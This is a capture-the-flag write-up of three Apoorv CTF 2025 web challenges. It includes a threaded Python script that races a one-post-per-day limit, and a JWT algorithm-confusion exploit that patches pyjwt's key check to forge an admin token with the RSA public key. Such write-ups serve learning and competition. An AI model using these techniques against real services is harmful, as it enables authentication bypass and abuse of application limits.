Apoorv CTF 2025 Write ups - SEO CEO, Blog-1, Tan-je-ro (WEB)

SEO CEO (289 Solves)

Title: SEO CEO
Description: They’re optimizing SEO to show this garbage?!

This was a black box challenge. At first, I tried to check /robots.txt, but it had a fake flag.

Based on the title and description of this challenge, I checked /sitemap.xml. It contained XML code, and the main part is below.

1
2
3
4
5
6
<url>
<loc>https://www.thiswebsite.com/goofyahhroute</loc>
<lastmod>2025-02-26</lastmod>
<changefreq>never</changefreq>
<priority>0.0</priority>
</url>

I accessed /goofyahhroute, and there was a simple black sentence on a white background.

1
2
3
4
ok bro u da seo master gng frfr ngl no cap
but do you really want the "flag"?
come on blud, it's a yes or no question
yeah?

So, I checked the source code and found one sentence that looked like a hint.

1
tell it to the url then blud

I ended up getting the flag by accessing the URL below.

1
/goofyahhroute?flag=yes

Blog-1 (60 Solves)

Title: Blog-1
Description: In the digital realm, Blog-1 awaited brave developers. The mission? Craft a captivating blog with enchanting posts, lively comments, and secure user authentication. Create a functional and visually stunning masterpiece. Ready for the Blog-1 adventure?

This was also a black box challenge.

There were several functions interacting with the server:

  1. Register/login
  2. Create a new blog post: title, description
  3. Check blog rewards

To get the flag, there were two interesting points:

  1. You can create one blog post per day.
  2. If you write five posts, you will get a flag according to the blog rewards. After creating the first post and checking the blog rewards, it says that if you write four more posts, you can get a gift.

The first thing that came to my mind was to successfully create five posts almost at the same time. So, I used threading in Python because if you use requests and send five requests in a for loop, the second response will wait until the first response arrives.

I used an AWS server from India to reduce response time. When I checked the ping of this challenge, it was located in India.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import threading
import random
import string

characters = string.ascii_letters + string.digits
email = ''.join(random.choices(characters, k=8))
email = email + '@aaa.com'
print(email)

URL = 'http://chals1.apoorvctf.xyz:5001/'

res = requests.post(URL+'/api/register', json={
"username":"aabbcc",
"email":email,
"password":"jir4vvit"
})

print(res)
res = requests.post(URL+'/api/login', json={
"email":email,
"password":"jir4vvit"
})
print(res)

token = res.json().get("token")
print(token)

def send_request(i):
res = requests.post(URL+'api/v1/blog/addBlog', json={
"title": "sssssss",
"description": 'aaaaaaa',
"visible": True,
"date":"2025-03-01T21:41:49.509Z"
}, headers={
"Authorization": f"Bearer {token}"
})

print(f"Request {i+1}: Response: {res.json()}")

threads = []
for i in range(5):
t = threading.Thread(target=send_request, args=(i,))
threads.append(t)
t.start()

for t in threads:
t.join()

I ran this code on the AWS server from India and ended up getting a reward! But it wasn’t the flag. To figure it out, I checked the sitemap in Burp Suite. /api/v2/gift and /api/v1/blog/addBlog caught my attention. So, I tried /api/v1/gift, and then I got the flag.

Tan-je-ro (33 Solves)

Title: Tan-je-ro
Description: Bruh, Tanjiro messed up BIG TIME. 😭 He hid Goku’s summoning scroll somewhere on this cursed website, and now it’s all broken. 💀 If we don’t find it fast, Goku’s never showing up, and we’re all doomed. No cap, this might be the hardest quest yet. Think you got what it takes? 👀🔥 Can you wield your skills like Tanjiro’s blade and break through the encrypted defenses?
Hint: Dont remove the headers from the public key :)

This was a black box challenge, and I couldn’t get anything when I first tried to solve it. But it turned out that a hint came, so I was able to solve it using that hint.

After finding some endpoints, I found /login, /Admin, and /public:

  • /login: You can get a token to explore.
  • /Admin: You need a token to continue.
  • /public: You can get a public key.

To contine solving, I had to access to /Admin with token that I could get from /login. This shape was like below. It’s a typcial JWT token.

1
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ZmFsc2UsIm5hbWUiOiJHdWVzdCIsImlhdCI6MTc0MDkyODQxM30.ZMeqC1m7Zf3UNICbBHnhqS82HK2h646HE9P_QE8pa3ZC4KVzl3og5O5RdkcFg_MkwgPpadKBmYkyQl_gGJvXkYFqA2Cfqc7IerbPWlFOVOit9I_cznLhDt497Ggge4TkRKRXVHPSITog5j3k-ULnbPQZqagqsz5XOwOPLu_T34dFGyf-lCnwryuCVE49Fh-LtgWtxxiZ2tUPa8r5Sk3dHOQHWT4RSxnwzmnYmsJGrjY7EKdwqLY55akxPBlutzo3dkSZWYQk_tZQyqJDqTAXN0gjKo3sxEQpKlCUts3XY4mGLafxnZSmoqa2qYsHhjN82dIKlQnAXk9MH6RCLz-0MA

I decoded the header and payload.

1
2
3
4
5
6
7
8
9
{
"alg": "RS256",
"typ": "JWT"
}
{
"admin": false,
"name": "Guest",
"iat": 1740928413
}

At first, I tried to change token['admin'] from False to True and change token['name'] to /Admin, but it didn’t work.

Based on the hint, I had to use the public key to solve this problem, and it was suggested not to remove the public key. So, I changed the algorithm when encoding the JWT token. However, when using the HS256 algorithm, I couldn’t use the public key as the key. I could only use plain text as the key. So, I had to modify the source code in pyjwt.

Below was the traceback when I tried to encode the JWT token with the HS256 algorithm using the public key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Traceback (most recent call last):
File "/Users/user/tmp/tanjero/2.py", line 29, in <module>
token = jwt.encode(data, public_key, algorithm="HS256")
File "/opt/homebrew/lib/python3.13/site-packages/jwt/api_jwt.py", line 78, in encode
return api_jws.encode(
~~~~~~~~~~~~~~^
json_payload,
^^^^^^^^^^^^^
...<4 lines>...
sort_headers=sort_headers,
^^^^^^^^^^^^^^^^^^^^^^^^^^
)
^
File "/opt/homebrew/lib/python3.13/site-packages/jwt/api_jws.py", line 170, in encode
key = alg_obj.prepare_key(key)
File "/opt/homebrew/lib/python3.13/site-packages/jwt/algorithms.py", line 259, in prepare_key
raise InvalidKeyError(
...<2 lines>...
)
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

According to the traceback, I had to bypass prepare_key in order to encode with the public key. So, I commented it out.

1
2
3
4
5
6
7
8
9
10
11
# /jwt/algorithms.py
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)

#if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
# raise InvalidKeyError(
# "The specified key is an asymmetric key or x509 certificate and"
# " should not be used as an HMAC secret."
# )

return key_bytes

And it worked! I finally got the flag! Below is the final exploit code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import jwt
import re
import requests

URL = 'https://tan-je-ro.onrender.com/'

res = requests.get(URL+'/login')
token = re.findall(r'<code.*?>(.*?)</code>', res.text, re.DOTALL)
token = token[0]
print(token)

public_key = '''-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAwcMU3Y6CQyvA87vJRKZomubiceep9YlNdp6y95ICIZ3y7jV3oZyt
b1zfwFJ1p/pdTd7ckOOQVsP6/Y7g6gLa9S8YZmKzy7jU6EnV2XPnXTF287hXasup
OzLd4iAzRw12r9pIQ/Fjum8pQ2LzWEaAmuHfkm1o3C9i8ZsbfvZIw/tAB/qEfh34
dGoVvPsJawF44oEFkAQYlS40FmM1EkNzNmNPtKUXlRrr0be0PTCshUbX7VpGC0b1
9JKb/vB+KGye6yUjLwHKKUHZedHQFMMV9OayOwWSnP9J+9Tq77qyNSeBe6vy6uD1
XPm0mfmUYLJZKy0XqjHHxOB9DjKaecmMoQIDAQAB
-----END RSA PUBLIC KEY-----
'''

data = jwt.decode(token, public_key, algorithms=["RS256"])
print("Decoded JWT:", data)

data['admin'] = True
data['name'] = 'Admin'
print(data)

token = jwt.encode(data, public_key, algorithm="HS256")
print("JWT Token:", token)

res = requests.get(URL+f'/Admin?token={token}')
print(res.text)